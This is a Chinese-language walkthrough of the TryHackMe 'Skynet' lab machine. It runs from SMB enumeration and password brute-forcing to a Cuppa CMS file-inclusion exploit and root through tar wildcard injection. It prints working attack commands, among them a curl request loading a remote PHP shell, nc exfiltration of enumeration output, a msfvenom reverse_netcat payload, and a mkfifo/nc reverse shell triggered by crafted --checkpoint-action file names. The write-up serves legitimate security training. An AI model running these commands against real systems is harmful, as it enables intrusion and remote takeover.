TryHackMe-Skynet

本文主要涉及:

  • smb信息枚举
  • tar通配符注入

靶机链接

靶机难度:简单

信息收集

常规思路,上来先扫一下端口开放情况

nmap -A -vvv -sT -T5 -p- 10.10.63.198

port-open

可以观察到目标开放了

  • 80 http
  • 22 ssh
  • 110 pop3
  • 139 smb
  • 143 imap
  • 445 smb

其中110和143都是邮件服务器的端口。
先进去网站看看
index.html

source-index

网站首页和网站源码都没什么发现,用dirb扫一下网站路径
dirb-path

除了squirrelmail能访问外,其他都无法访问.
squirelmail

源码里也没发现什么东西。

对之前探测到的smb端口进行用户枚举看看。
nmap -p445,139 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.63.198

smb-enum-shares

除了使用nmap的smb的信息枚举脚本外,我们还能使用
smbmap -H 10.10.63.198

smbmap

可以看到匿名目录允许我们可读的,并且还有一个milesdyson的目录,但是我们没有权限去访问它。

但是我们可以先看看anonymous里面有什么东西

smbclient //10.10.63.198/anonymous
smb-anonymous

把东西download下来再分析.

smbget -R smb://10.10.63.198/anonymous/
下载一看,将近450M的文件,,大部分都是pdf.

还有一个文件名为attention.txt这就是让我们去读他的意思。

attention

文本内容为:

A recent system malfunction has caused various passwords to be changed. All skynet employees are required to change their password after seeing this.
-Miles Dyson

大概意思就是提醒用户修改密码。

再进入到下载回来的log目录,里面有3个文件。

分别是log1.txt,log2.txt,log3.txt

log2和log3都是空文本,但是log1.txt的内容就很有趣了,他很有可能是记载了部分用户密码的文本文件。

尝试用milesdyson作为用户名,log1.txt作为密码字典。使用burpsplit爆破密码,结果没一会就看到正确密码了。

burp

inbox

得到smb password。这时我们可以去尝试登录milesdyson目录了。
smbclient //10.10.63.198/milesdyson --user=milesdyson

登录成功,看下有什么文件
smb-milesdyson
进去notes目录看了之后,发现有许多markdown的文档,但是也有一个名为important.txt的文档
important

  1. Add features to beta CMS /45kra24zxs28v3yd
  2. Work on T-800 Model 101 blueprints
  3. Spend more time with my wife

这个/45kra24zxs28v3yd看上去像是个网站路径?

尝试去访问一下看看。结果还真是一个隐藏路径

hide-path

Dr. Miles Bennett Dyson was the original inventor of the neural-net processor which would lead to the development of Skynet,
a computer A.I. intended to control electronically linked weapons and defend the United States.

再一次对这个路径进行dirb扫描
dirb-hide
发现还有个administrator的管理后台

进去登录后台,试试邮箱的密码结果不对。
login-admin

查看源码
source-cuppa-cms
发现标题是Cuppa CMS,什么内容管理系统的东东。去google搜索后,发现居然有exploit!!!

haha

google-search

cuppa-cms-exp

漏洞利用

根据exploit的提示来试试

tips-expoit
执行第一条并没返回什么结果,执行第二条的时候成功查看到目标机器的/etc/passwd文件.
etc/passwd

所以我们可以利用这个漏洞去反弹一个webshell下载php-shell

下载好payload之后,改个名字,修改端口和地址。然后用python -m SimpleHTTPServer打开我们的网页服务器,开启监听后执行以下命令:

1
curl http://10.10.63.198/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php\?urlConfig\=http://10.10.245.230/s.php

web-shell

此时应该能返回一个shell给我们了。

这时可以进行机器的信息枚举了。会发现crontab有一个每分钟运行一次的脚本我们可以利用它。你可以使用信息枚举的脚本,也可以手动的去使用命令去查看。
python -m SimpleHTTPServer 80将当前目录作为网站根目录,开启80端口。

在目标机器上执行
wget http://10.10.245.230/LinEnum.sh下载你的信息枚举脚本,同理,你也可以使用这种方式去下载你的其他恶意代码文件。

使用nc将信息枚举后的内容下载到本地
nc -lp 1236 > LinEnum-Skynet.txt
bash ./LinEnum.sh | nc -nv 10.10.245.230 1236 -q 1

LinEnum-crontab

可以看到有个每分钟以root用户执行一次的脚本,这个脚本位于milesdyson家目录下,所以我们可以去看看,脚本的权限和脚本内容

提权

backup_sh

可以明显看到脚本内容

1
2
3
#!/bin/bash
cd /var/www/html
tar cf /home/milesydson/backups/backup.tgz *

每分钟将/var/www/html下所有的文件打包后以backup.tgz命名放到/home/milesydson/backups/下

这里我很傻逼的以为可以通过修改环境变量的方式,伪造一个假的tar,可以反弹一个shell给我。但是实际上这个想法是错误的,因为crontab有它单独的默认环境变量,是不会被普通用户修改的临时变量所影响到的。

crontab-path

之后没有思路了,只能去询问各位大佬。大佬们纷纷给我提示

tar wildcard

wildcard就是通配符的英文单词,所以使用要使用通配符注入。我在此之前甚至都不知道这个这都是一个注入点。

结合backup.sh的脚本内容,所以我们可以知道tar cf /home/milesdyson/backup/backup.tgz *这条命令,就是我们的注入点。

总的来说,这似乎是个从UNIX时代遗留下来的问题,假设我们创建了一个名为 “–help”的文件

--help

如果我们尝试去用通配符列出当前目录的所有文件的话。

例如:

ls *

可以看到执行效果是变成了ls \--help,并不是如我们所想的,列出了当前目录的所有文件。

--help2

所以我们可以利用这一漏洞去让tar执行我们的恶意代码。

先在Kali上面用msfvenom生成我们的载荷,并开启监听.

1
msfvenom -p cmd/unix/reverse_netcat LHOST=10.10.245.230 LPORT=8888 R

msfve

然后在目标机器的/var/www/html/下创建以下文件

1
2
3
echo "">"--checkpoint-action=exec=sh shell.sh"
echo "">"--checkpoint=1"
echo "mkfifo /tmp/cflw;nc 10.10.58.45 8888 0</tmp/clfw |/bin/sh >/tmp/cflw 2>&1">shell.sh

将刚刚在kail上生成的恶意代码复制到目标机器上,生成一个shell.sh的文件
shell-sh

所以现在我们一共生成了三个文件分别是

  • --checkpoint-action=exec=sh shell.sh
  • --checkpoint=1
  • shell.sh

正常来说,创建好这三个文件后。一分钟后就能监听窗口拿到root权限shell的回调了。

root

--checkpoint[=number] 每个处理指定数量的记录,就显示一次进度(这个文件可以不创建。所以实际上只需要两个文件。
--checkpoint-action=ACTION在每个检查点上执行ACTION,所以这个选项是用来规定达到检查点时执行程序。它允许我们执行任意的命令。

关于通配符提权的更多文章:

总结

这个靶机,让我知道了smbmap这个工具,以及它的基本用法。但是对我收获更大的是Linux通配符注入这一知识点。在此之前,我也试过创建过以”-“开头的文件,也知道系统会把它认为是个命令,而不是文件,但是我脑子却没转过来,去利用这一特点去执行恶意代码。